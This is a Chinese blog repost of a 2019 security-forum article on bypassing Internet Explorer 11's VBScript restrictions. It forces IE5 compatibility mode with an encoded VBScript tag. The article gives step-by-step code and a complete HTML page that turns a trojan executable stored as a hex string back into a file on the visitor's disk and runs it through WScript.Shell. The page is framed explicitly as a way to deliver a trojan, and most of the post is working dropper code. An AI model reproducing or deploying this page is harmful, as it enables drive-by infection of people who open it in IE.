基于VBSCRIPT下16进制木马的IE浏览器BYPASS

2019-12-12 约 117 字 预计阅读 1 分钟

声明:本文 【基于VBSCRIPT下16进制木马的IE浏览器BYPASS】 由作者 seabird 于 2019-12-09 09:21:00 首发 先知社区 曾经 浏览数 3195 次

感谢 seabird 的辛苦付出!

微软在发布internet explore 11时,基于相关安全措施,基于IE11的浏览器无法执行vbscript代码,详情如下文:
https://blogs.windows.com/msedgedev/2017/07/07/update-disabling-vbscript-internet-explorer-11/

然而,最近我在编写html代码时,偶然发现新版本的ie浏览器依然兼容旧版本的vbscript,通过在头部文件加入IE5兼容模式,并且在script标签插入旧版本的vb(VBScript.Encode),如下图:

最终的运行结果如下:

可以看到使用IE5兼容模式可以成功在ie11浏览器下执行vb代码。因此,基于上述方法,可将一个木马exe文件转换成16进制文件并通过vb执行并最终可以运行在IE11版本下。

1.将木马转换成16进制字符,并去掉中间空格

2.通过CreateObject函数创建对象:

Set objFSO = CreateObject("Scripting.FileSystemObject")

3.通过CreateTextFile函数创建文件:

Dim objTextFile 
Set objTextFile = objFSO.CreateTextFile("d:\Testfile.bat")

4.将16进制文件转换成字符串文件,由于16进制文件是每两个数字组成一个字符,因此在遍历16进制文件时需要将每两个数字作为一组遍历一次:

For i = 1 To Len(w) Step 2
objTextFile.Write Chr(CLng("&H" & Mid(w,i,2)))

5.通过CreateObject函数创建WScript.Shell文件并执行最终的exe文件

Set WS= CreateObject("WScript.Shell") 
WS.Run "d:/Testfile.exe"

最终的代码如下:

<html>
<meta http-equiv="x-ua-compatible" content="IE=5">
<body>
<script language="VBScript.Encode">
     Dim w
     w = "16hex of exe data"
         Dim objFSO
         Set objFSO = CreateObject("Scripting.FileSystemObject")          
         Dim objTextFile 
         Set objTextFile = objFSO.CreateTextFile("d:\Testfile.exe")     
     For i = 1 To Len(w) Step 2
     objTextFile.Write Chr(CLng("&H" & Mid(w,i,2)))
     Next
     objTextFile.close
     Set WS= CreateObject("WScript.Shell") 
     WS.Run "d:/Testfile.exe"
      </script>
      <p>This is web page body </p>
   </body>
</html>

相关演示视频如下:
https://v.youku.com/v_show/id_XNDQ1NTMwNjg3Ng==.html?spm=a2h3j.8428770.3416059.1
密码: microsoft123

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now